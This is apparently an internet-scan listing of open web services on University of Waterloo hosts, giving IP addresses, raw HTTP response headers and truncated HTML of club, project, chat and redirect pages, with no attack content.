$(this).css({'color':'white','background-color':'#0D5F49','border-radius':'2px'});
});
});
</script>
</head>
<body>
<div id="main_wrapper">
<a id="home_link" href="index.html">
<img id="main_logo_top_svg" src="logo_images/main_logo.svg"></img>
</a>
<br/>
<div id="main_menu">
<a href="index.html#page_1" class="menu_button">Home</a>
<a href="the_music.html" class="menu_button">The Music</a>
<a href="about_us.html" class="menu_button">About Us</a>
<a href="gallery.html" class="menu_button">Gallery</a>
<a href="join_now.html" class="menu_button">Join Now</a>
</div>
<div id="content">
<div id="social_media_buttons">
<a href="https://www.instagram.com/uwconcertbandclub/" target="_blank">
<img src="logo_images/instagram_logo.png" title="Follow us on Instagram!" alt="Link to Instagram Account" />
</a>
<a href="http://www.youtube.com/channel/UCXt_Onb-_T9SpzvzNygYRZA" target="_blank">
<img src="logo_images/youtube_logo.png" title="Visit our YouTube Channel!" alt="Link to YouTube Channel" />
</a>
<a href="https://discord.com/invite/KNbdWZt" target="_blank">
<img src="logo_images/disc
Open service 129.97.140.196:443 · cemclinux11.math.uwaterloo.ca
2026-01-09 12:27
HTTP/1.1 301 Moved Permanently Date: Fri, 09 Jan 2026 12:27:57 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: pll_language=en; expires=Sat, 09-Jan-2027 12:27:57 GMT; Max-Age=31536000; path=/; secure X-Redirect-By: WordPress Location: https://cscircles.cemc.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.50.135:443 · b2p.uwaterloo.ca
2026-01-09 12:15
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 12:15:08 GMT
Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3
Strict-Transport-Security: max-age=63072000; includeSubdomains;
Upgrade: h2
Connection: Upgrade, close
Last-Modified: Fri, 15 Sep 2017 02:32:42 GMT
ETag: "c11-55931350f0680"
Accept-Ranges: bytes
Content-Length: 3089
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo
Content-Type: text/html
Page title: Bridges to Prosperity
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<title>Bridges to Prosperity</title>
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
<link href="css/main.css" rel="stylesheet" type="text/css" />
<link href="css/nav.css" rel="stylesheet" type="text/css" />
<link href="css/content.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="java/jquery-1.10.2.js"></script>
<style type="text/css">
a:hover {
color: #333;
}
body {
background-image: url(images/site/Backdrop.jpg);
background-repeat: repeat;
}
</style>
<!-- GOOGLE ANALYTICS CODE -->
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-53114724-1', 'auto');
ga('send', 'pageview');
</script>
<!-- End of GOOGLE ANALYTICS -->
</head>
<body id="homePage"><!--Change label to page name,refer to nav.css-->
<!--End of logo-->
<div id="maincontent">
<p><h6>ANNOUNCEMENT</h6><hr>
<div id="updatesmainbox">
<center>
<p></p>
<p><br/>
<br /><br /><br /><br /><br /><br />
</p>
</center>
</div>
<p>The University of Waterloo Bridges to Prosperity (UW B2P) chapter has disbanded as of January 2017.</p>
<p>We would like to thank our many sponsors and supporters who have helped our chapter over the years. Thanks to your generous support, our chapter has built three pedestrian bridges in Bolivia since 2013. Our bridges are enabling thousands access necessities such as healthcare, education, and markets.</p>
</p><br/>
<!-- scroll to top -->
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.0/jquery.min.js"></script>
<a href="#" class="back-to-top"><strong>Back to Top</strong></a>
<script>
jQuery(document).ready(function() {
var offset = 420;
var duration = 500;
jQuery(window).scroll(function() {
if (jQuery(this).scrollTop() > offset) {
jQuery('.back-to-top').fadeIn(duration);
} else {
jQuery('.back-to-top').fadeOut(duration);
}
});
jQuery('.back-to-top').click(function(event) {
event.preventDefault();
jQuery('html, body').animate({scrollTop: 0}, duration);
return false;
})
});
</script>
<!-- end of scroll to top -->
</div><!--End of maincontent-->
</div><!--End of container-->
</body><!--End of body-->
</html>
Open service 129.97.134.17:443 · orientation.math.uwaterloo.ca
2026-01-09 11:17
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 11:17:41 GMT
Server: Apache/2.4.65 (Debian)
Strict-Transport-Security: max-age=26784000
Upgrade: h2,h2c
Connection: Upgrade, close
Last-Modified: Tue, 13 Sep 2022 13:21:44 GMT
ETag: "687-5e88ee4c355b1"
Accept-Ranges: bytes
Content-Length: 1671
Vary: Accept-Encoding
Content-Type: text/html
<!DOCTYPE html><html><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width"/><meta name="next-head-count" content="2"/><link rel="preload" href="/_next/static/css/4cc93ddf05404e3d.css" as="style"/><link rel="stylesheet" href="/_next/static/css/4cc93ddf05404e3d.css" data-n-g=""/><link rel="preload" href="/_next/static/css/c767f4232dfbbd76.css" as="style"/><link rel="stylesheet" href="/_next/static/css/c767f4232dfbbd76.css" data-n-p=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-b92be9e033c11656.js" defer=""></script><script src="/_next/static/chunks/framework-4556c45dd113b893.js" defer=""></script><script src="/_next/static/chunks/main-a7929bce73e6df56.js" defer=""></script><script src="/_next/static/chunks/pages/_app-1347b4168e8713fe.js" defer=""></script><script src="/_next/static/chunks/999-e94b46785853a71f.js" defer=""></script><script src="/_next/static/chunks/338-f188c4117275de6e.js" defer=""></script><script src="/_next/static/chunks/675-cedebbfbd0120005.js" defer=""></script><script src="/_next/static/chunks/pages/index-3017e65e921f67ea.js" defer=""></script><script src="/_next/static/z-PCkGe6wGP9ifQAntDpQ/_buildManifest.js" defer=""></script><script src="/_next/static/z-PCkGe6wGP9ifQAntDpQ/_ssgManifest.js" defer=""></script></head><body><div id="__next"></div><script id="__NEXT_DATA__" type="application/json">{"props":{"pageProps":{}},"page":"/","query":{},"buildId":"z-PCkGe6wGP9ifQAntDpQ","nextExport":true,"autoExport":true,"isFallback":false,"scriptLoader":[]}</script></body></html>
Open service 129.97.50.135:443 · greenautopowertrain.uwaterloo.ca
2026-01-09 10:12
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 10:12:51 GMT
Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3
Strict-Transport-Security: max-age=63072000; includeSubdomains;
Upgrade: h2
Connection: Upgrade, close
Last-Modified: Tue, 06 Jan 2015 20:53:26 GMT
ETag: "1fbd-50c01ff9f2abc"
Accept-Ranges: bytes
Content-Length: 8125
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo
Content-Type: text/html
Page title: Green Auto Power
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/green_template.dwt" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<!-- InstanceBeginEditable name="doctitle" -->
<title>Green Auto Power</title>
<script src="scripts/detect_flash_ie_addon.as" language="VBScript" type="text/vbscript"></script>
<script src="scripts/detect_flash.js" language="JavaScript1.1" type="text/javascript"></script>
<!-- InstanceEndEditable -->
<style type="text/css" media="screen, print">
@import url("!css/reset.css");
@import url("!css/green.css");
</style>
<!-- print stylesheet (as a bonus linking avoids FOUC in IE) -->
<link rel="stylesheet" type="text/css" media="print" href="!css/print.css" />
<!-- InstanceBeginEditable name="head" --><style type="text/css">
<!--
.style5 {
color: #FF0000;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style><!-- InstanceEndEditable -->
<!-- InstanceParam name="subnav" type="text" value="0" -->
<!-- InstanceParam name="frontpage" type="boolean" value="true" -->
</head>
<body>
<div id="container">
<div id="header">
<form action="http://info.uwaterloo.ca/clfscripts/uwsearch.php" method="post" name="searchform" id="searchform">
<input name="searchterm" type="text" id="searchterm" />
<input name="site" id="site" type="hidden" value="inkpotinc.ca)" />
<input type="submit" name="searchbutton" id="searchbutton" value="Search" />
</form>
<h1><a href="index.html"><img src="!images/template_images/logo.gif" width="191" height="86" alt="Green Auto Power" /></a></h1>
</div>
<div id="navgraphic">
<div id="nav">
<ul style="margin-bottom: 0">
<li>
<a href="/index.html">Home</a></li>
<li>
<a href="/about/index.html">About Us</a></li>
<li>
<a href="/investigators/index.html">Principal Investigators</a></li>
<li>
<a href="/impact/index.html">Commercialization and Impact</a></li>
<li>
<a href="/outreach/index.html">Youth Outreach</a></li>
<li>
<a href="/AGM/index.html">Annual General Meeting</a></li>
<li>
<a href="/links.html">Links</a></li>
<li>
<a href="/archive.html">News Archive</a></li>
<li>
<a href="/contact.html">Contact Us</a></li>
</ul>
</div>
<div id="banner"><!-- InstanceBeginEditable name="banner" -->
<script language="JavaScript" type="text/javascript">
<!--
/*
variables in order for "FlashCheck"
- Required "major" version of Flash
- Required "minor" version of Flash
- Required revision of Flash
- Filename of Flash document (path relative to this page)
- Flash loop setting (true/false)
- Flash object name (each object should have a unique name)
- Filename of alternative image (path relative to this page)
- Alt text for image
- Width of Flash document/alternative image (both should be created with the same dimensions)
- Height of Flash document/alternative image (both should be created with the same dimensions)
*/
FlashCheck (6,0,0,"!images/home_banner.swf","true","test","!images/home_banner_still.jpg","HSPRN",590,240)
// -->
</script>
<noscript>
<img src="../!images/home_banner_still.jpg" width="590" height="240" alt="HSPRN" />
</noscript>
<!-- InstanceEndEditable --></div>
<div id="whatsnew">
<h1>WHAT’S NEW</h1>
<!-- InstanceBeginEditable name="whats new" -->
<p><a href="http://pressroom.toyota.com
Open service 129.97.152.229:443 · scs-math-rocketchat.cs.uwaterloo.ca
2026-01-09 09:52
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 09:53:01 GMT
Server: Apache/2.4.52 (Ubuntu)
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Security-Policy: default-src 'self' https://cdn.zapier.com; connect-src *; font-src 'self' https://cdn.zapier.com data:; frame-src *; img-src * data: blob:; media-src * data:; script-src 'self' 'unsafe-eval' 'sha256-jqxtvDkBbRAl9Hpqv68WdNOieepg8tJSYu1xIy7zT34=' 'sha256-aui5xYk3Lu1dQcnsPlNZI+qDTdfzdUv3fzsw80VLJgw=' https://cdn.zapier.com https://zapier.com; style-src 'self' 'unsafe-inline' https://cdn.zapier.com
X-Instance-ID: 13ef4d85-bbb4-4e27-9198-8949aa8d17e9
Access-Control-Allow-Origin: *
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Page title: scs-math-rocketchat
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" class="__meteor-css__" href="/e37e3a526aace32e4ea71108fc18652f860ce79f.css?meteor_css_resource=true">
<script id="scripts" type="text/javascript" src="/scripts_887a5339b2625a8970658c4f5f9bd94f1067ab7a.js"></script>
<meta name="referrer" content="same-origin" />
<link rel="icon" sizes="16x16" type="image/png" href=/assets/favicon_16.png />
<link rel="icon" sizes="32x32" type="image/png" href=/assets/favicon_32.png />
<link rel="icon" sizes="any" type="image/svg+xml" href=/assets/favicon.svg />
<title>scs-math-rocketchat</title><meta name="application-name" content="scs-math-rocketchat"><meta name="apple-mobile-web-app-title" content="scs-math-rocketchat">
<meta http-equiv="content-language" content=""><meta name="language" content="">
<meta name="robots" content="INDEX,FOLLOW">
<meta name="msvalidate.01" content="">
<meta name="google-site-verification" content="">
<meta property="fb:app_id" content="">
<base href="/">
</head>
<body>
<noscript style="color: white; text-align:center">
You need to enable JavaScript to run this app.
</noscript>
<div id="react-root">
<div class="page-loading" role="alert" aria-busy="true" aria-live="polite" aria-label="loading">
<div class="loading__animation">
<div class="loading__animation__bounce"></div>
<div class="loading__animation__bounce"></div>
<div class="loading__animation__bounce"></div>
</div>
</div>
</div>
<style id='css-variables'> :root {}</style>
<script type="text/javascript" src="/meteor_runtime_config.js?hash=ecebc90b5ad01e70f2aa64b34e9e515d3ac74854"></script>
<script type="text/javascript" src="/3054b8907c5ff9acb854316cc540d0d364e126dc.js?meteor_js_resource=true"></script>
</body>
</html>
Open service 35.182.192.50:443 · core.uwaterloo.ca
2026-01-09 09:41
HTTP/1.1 200 OK Date: Fri, 09 Jan 2026 09:41:04 GMT Server: Apache/2.4.29 (Ubuntu) Link: <https://core.uwaterloo.ca/wp-json/>; rel="https://api.w.org/" Link: <https://core.uwaterloo.ca/wp-json/wp/v2/pages/3565>; rel="alternate"; title="JSON"; type="application/json" Link: <https://core.uwaterloo.ca/>; rel=shortlink Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.208.28:443 · lyncdiscover.uwaterloo.ca
2026-01-09 09:08
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Expires: -1
X-MS-Server-Fqdn: lync-w-fe2.NEXUS.UWATERLOO.CA
X-MS-Correlation-Id: 2150489722
client-request-id: 3564bcba-2780-490a-8be3-2ce1849f83f2
X-Content-Type-Options: nosniff
Date: Fri, 09 Jan 2026 09:08:08 GMT
Connection: close
Content-Length: 356
{"_links":{"self":{"href":"https://lync-w-fe-ext.uwaterloo.ca/Autodiscover/AutodiscoverService.svc/root?originalDomain=uwaterloo.ca"},"user":{"href":"https://lync-w-fe-ext.uwaterloo.ca/Autodiscover/AutodiscoverService.svc/root/oauth/user?originalDomain=uwaterloo.ca"},"xframe":{"href":"https://lync-w-fe-ext.uwaterloo.ca/Autodiscover/XFrame/XFrame.html"}}}
Open service 129.97.83.52:443 · communitydesirelines.uwaterloo.ca
2026-01-09 08:20
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/html
ETag: W/"1349-INlITJvQymogSKo7asJxb4aEMNo"
Access-Control-Allow-Origin: *
X-Powered-By: ARR/3.0
Date: Fri, 09 Jan 2026 08:20:46 GMT
Connection: close
Content-Length: 4937
Page title: Community Desirelines
<!DOCTYPE html>
<html lang="en">
<head>
<script type="module" src="/@vite/client"></script>
<meta name="viewport" content="width=device-width, initial-scale=1" charset="UTF-8">
<link rel="stylesheet" href="styles.css">
<link rel="stylesheet" href="controls.css">
<link rel="icon" type="image/x-icon" href="/icons/favicon.png" />
<!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> -->
<link rel="stylesheet" href="https://pro.fontawesome.com/releases/v6.0.0-beta3/css/all.css">
<link rel="stylesheet" href="https://unpkg.com/shepherd.js/dist/css/shepherd.css">
<title>Community Desirelines</title>
</head>
<body>
<div class="navbar">
<!-- File -->
<div class="controls">
<button class="dropbutton" id="file" style="font-weight: bold">File<i class="fa fa-caret-down"></i></button>
<div id="file" class="dropdown-content">
<a href="index.html" target="_blank" style="font-size: 18px">New</a>
<!-- <a href="#" style="font-size: 18px">Open</a> -->
<!-- <a href="#" style="font-size: 18px">Save</a> -->
<a href="#" id="save" style="font-size: 18px">Save Data</a>
</div>
</div>
<!-- Add -->
<div class="controls">
<button class="dropbutton" id="add" style="font-weight: bold">Add Item<i class="fa fa-caret-down"></i></button>
<div id="add" class="dropdown-content">
<a class="add" href="#" id="house" data-src="f015" data-fn="add" alt="house icon">
<i class="fa-solid fa-house" style="font-size: 18px"></i> House</a>
<a class="add" href="#" id="bus-stop" data-src="f207" data-fn="add" alt="bus icon">
<i class="fa-solid fa-bus" style="font-size: 18px"></i> Bus Stop</i></a>
<a class="add" href="#" id="streetlight" data-src="e1c5" data-fn="add" alt="streetlight icon">
<i class="fa-solid fa-lamp-street" style="font-size: 18px"></i> Streetlight</a>
<a class="add" href="#" id="stop-sign" data-src="f306" data-fn="add" alt="stop sign icon">
<i class="fa-solid fa-octagon" style="font-size: 18px"></i> Stop Sign</a>
<a class="add" href="#" id="park" data-src="f724" data-fn="add" alt="tree icon">
<i class="fa-solid fa-trees" style="font-size: 18px"></i></i> Park</a>
<a class="add" href="#" id="street-bench" data-src="e2e7" data-fn="add" alt="street bench icon">
<i class="fa-solid fa-bench-tree" style="font-size: 18px"></i> Street Bench</a>
</div>
</div>
<!-- Draw -->
<div class="controls">
<button class="dropbutton" id="draw" style="font-weight: bold">Draw<i class="fa fa-caret-down"></i></button>
<div id="draw" class="dropdown-content">
<a href="#" id="sidewalk" data-src="grey" data-fn="draw" style="font-size: 18px">Sidewalk</a>
<!-- <a href="#">Desire Path</a> -->
<a href="#" id="crosswalk" data-src="black" data-fn="draw" style="font-size: 18px">Crosswalk</a>
</div>
</div>
<div class="controls">
<button class="dropbutton" id="resources" style="font-weight: bold">Resources<i class="fa fa-caret-down"></i></button>
<div id="resources" class="dropdown-content">
<a href="https://github.com/KyleJMcMaster/community-desirelines" style="font-size: 18px">Desirelines Guide Book</a>
<!-- <a href="#">Desire Path</a> -->
</div>
</div>
<!-- Logo -->
<div class="logo-container">
<img src="icons/logo.png" alt="Logo" class="logo">
</div>
</div>
</div>
<!-- </div> -->
<!-- data-src="./icons/house.png" -->
<!-- <button onclick="dropdownClick('add')" class="add-button">Add Item</button> -->
<!-- <div id="add" class="dropdown-content">
<a href="#" id="house" data-fn="add" data-addtype="house" data-src="./icons/house-duotone-sol
Open service 35.182.192.50:443 · www.core.uwaterloo.ca
2026-01-09 08:17
HTTP/1.1 301 Moved Permanently Date: Fri, 09 Jan 2026 08:17:04 GMT Server: Apache/2.4.29 (Ubuntu) X-Redirect-By: WordPress Location: https://core.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.50.135:443 · www.engsoc.uwaterloo.ca
2026-01-09 08:06
HTTP/1.1 200 OK Date: Fri, 09 Jan 2026 08:06:10 GMT Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3 Link: <https://www.engsoc.uwaterloo.ca/wp-json/>; rel="https://api.w.org/", <https://www.engsoc.uwaterloo.ca/wp-json/wp/v2/pages/287503>; rel="alternate"; type="application/json", <https://www.engsoc.uwaterloo.ca/>; rel=shortlink Strict-Transport-Security: max-age=63072000; includeSubdomains; Upgrade: h2 Connection: Upgrade, close X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;mode=block X-Content-Type-Options: nosniff X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.50.135:80 · mca.uwaterloo.ca
2026-01-09 07:59
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 08:00:27 GMT
Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3
Strict-Transport-Security: max-age=63072000; includeSubdomains;
Upgrade: h2
Connection: Upgrade, close
Last-Modified: Mon, 26 Oct 2015 01:10:10 GMT
ETag: "8493-522f79f6a2f74"
Accept-Ranges: bytes
Content-Length: 33939
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo
Content-Type: text/html
Page title: MCAKW Student Chapter
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>MCAKW Student Chapter</title>
<link href='http://fonts.googleapis.com/css?family=Varela+Round' rel='stylesheet' type='text/css'>
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="http://netdna.bootstrapcdn.com/font-awesome/4.1.0/css/font-awesome.min.css" rel="stylesheet">
<link href="css/flexslider.css" rel="stylesheet" >
<link href="css/styles.css" rel="stylesheet">
<link href="css/queries.css" rel="stylesheet">
<link href="css/animate.css" rel="stylesheet">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body id="top">
<header id="home">
<nav>
<div class="container-fluid">
<div class="row">
<div class="col-md-8 col-md-offset-2 col-sm-8 col-sm-offset-2 col-xs-8 col-xs-offset-2">
<nav class="pull">
<ul class="top-nav">
<li><a href="#intro">ABOUT US <span class="indicator"><i class="fa fa-angle-right"></i></span></a></li>
<li><a href="#features">PARTNER ASSOCIATIONS <span class="indicator"><i class="fa fa-angle-right"></i></span></a></li>
<li><a href="#responsive">SPONSOR US <span class="indicator"><i class="fa fa-angle-right"></i></span></a></li>
<li><a href="#portfolio">EVENTS <span class="indicator"><i class="fa fa-angle-right"></i></span></a></li>
<li><a href="#team">EXECUTIVE TEAM <span class="indicator"><i class="fa fa-angle-right"></i></span></a></li>
<li><a href="#contact">GET IN TOUCH <span class="indicator"><i class="fa fa-angle-right"></i></span></a></li>
</ul>
</nav>
</div>
</div>
</div>
</nav>
<section class="hero" id="hero">
<div class="container">
<div class="row">
<div class="col-md-12 text-right navicon">
<a id="nav-toggle" class="nav_slide_button" href="#"><span></span></a>
</div>
</div>
<div class="row">
<div class="col-md-8 col-md-offset-2 text-center inner">
<h1 class="animated fadeInDown">MCAKW Student Chapter</h1>
<h3 class="animated fadeInUp delay-05s">Connecting Students
with Local Industry</h3>
<p>...</p>
<p class="animated fadeInUp delay-1s">The Mechanical Contractors Association of Kitchener Waterloo Student Chapter is a student run club at The University of Waterloo.
In the spirit of our university's world famous co-operative education program, we connect students with local industry.</p>
</div>
</div>
<div class="row">
<div class="col-md-6 col-md-offset-3 text-center">
<a href="https://www.facebook.com/groups/MCAKW/" class="learn-more-btn">Connect with us</a>
</div>
</div>
</div>
</section>
</header>
<section class="intro text-center section-padding" id="intro">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 wp1">
<h1 class="arrow">ABOUT US</h1>
<p>The Mechanical Contractors Association of Kitchener Waterloo Student Chapter is a student run club at The Universit
Open service 129.97.128.150:80 · ist.uwaterloo.ca
2026-01-09 07:29
HTTP/1.1 301 Moved Permanently Date: Fri, 09 Jan 2026 07:30:06 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://uwaterloo.ca/ist/ Content-Length: 233 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/ist/">here</a>.</p> </body></html>
Open service 129.97.7.78:443 · 00-ssh-api.augi.cs.uwaterloo.ca
2026-01-09 06:24
HTTP/1.1 404 NOT FOUND Server: nginx Date: Fri, 09 Jan 2026 06:24:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 207 Connection: close Strict-Transport-Security: max-age=15724800; includeSubdomains Page title: 404 Not Found <!doctype html> <html lang=en> <title>404 Not Found</title> <h1>Not Found</h1> <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Open service 129.97.7.78:80 · 00-ssh-api.augi.cs.uwaterloo.ca
2026-01-09 06:24
HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 09 Jan 2026 06:24:28 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://00-ssh-api.augi.cs.uwaterloo.ca:443/ Strict-Transport-Security: max-age=15724800; includeSubdomains Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx</center> </body> </html>
Open service 129.97.152.215:443 · rocketchat-courses.cs.uwaterloo.ca
2026-01-09 05:16
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 05:16:10 GMT
Server: Apache/2.4.52 (Ubuntu)
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Security-Policy: default-src 'self' https://cdn.zapier.com; connect-src *; font-src 'self' https://cdn.zapier.com data:; frame-src *; img-src * data: blob:; media-src * data:; script-src 'self' 'unsafe-eval' 'sha256-jqxtvDkBbRAl9Hpqv68WdNOieepg8tJSYu1xIy7zT34=' 'sha256-aui5xYk3Lu1dQcnsPlNZI+qDTdfzdUv3fzsw80VLJgw=' https://cdn.zapier.com https://zapier.com; style-src 'self' 'unsafe-inline' https://cdn.zapier.com
X-Instance-ID: 2ed0f0d3-9486-49fc-ad6a-98f4371b44d1
Access-Control-Allow-Origin: *
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Page title: Rocket.Chat
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" class="__meteor-css__" href="/e37e3a526aace32e4ea71108fc18652f860ce79f.css?meteor_css_resource=true">
<script id="scripts" type="text/javascript" src="/scripts_887a5339b2625a8970658c4f5f9bd94f1067ab7a.js"></script>
<meta name="referrer" content="same-origin" />
<link rel="icon" sizes="16x16" type="image/png" href=/assets/favicon_16.png />
<link rel="icon" sizes="32x32" type="image/png" href=/assets/favicon_32.png />
<link rel="icon" sizes="any" type="image/svg+xml" href=/assets/favicon.svg />
<title>Rocket.Chat</title><meta name="application-name" content="Rocket.Chat"><meta name="apple-mobile-web-app-title" content="Rocket.Chat">
<meta http-equiv="content-language" content=""><meta name="language" content="">
<meta name="robots" content="INDEX,FOLLOW">
<meta name="msvalidate.01" content="">
<meta name="google-site-verification" content="">
<meta property="fb:app_id" content="">
<base href="/">
</head>
<body>
<noscript style="color: white; text-align:center">
You need to enable JavaScript to run this app.
</noscript>
<div id="react-root">
<div class="page-loading" role="alert" aria-busy="true" aria-live="polite" aria-label="loading">
<div class="loading__animation">
<div class="loading__animation__bounce"></div>
<div class="loading__animation__bounce"></div>
<div class="loading__animation__bounce"></div>
</div>
</div>
</div>
<style id='css-variables'> :root {}</style>
<script type="text/javascript" src="/meteor_runtime_config.js?hash=267fec907705c3e88f0a928a73dafb800f87c1da"></script>
<script type="text/javascript" src="/3054b8907c5ff9acb854316cc540d0d364e126dc.js?meteor_js_resource=true"></script>
</body>
</html>
Open service 129.97.128.216:80 · findoutmore.uwaterloo.ca
2026-01-09 05:14
HTTP/1.1 301 Moved Permanently Date: Fri, 09 Jan 2026 05:15:07 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://findoutmore.uwaterloo.ca/ Content-Length: 241 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://findoutmore.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · findoutmore.uwaterloo.ca
2026-01-09 05:14
HTTP/1.1 301 Moved Permanently Date: Fri, 09 Jan 2026 05:14:28 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/future-students Content-Length: 244 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/future-students">here</a>.</p> </body></html>
Open service 52.60.194.208:80 · libanswers.uwaterloo.ca
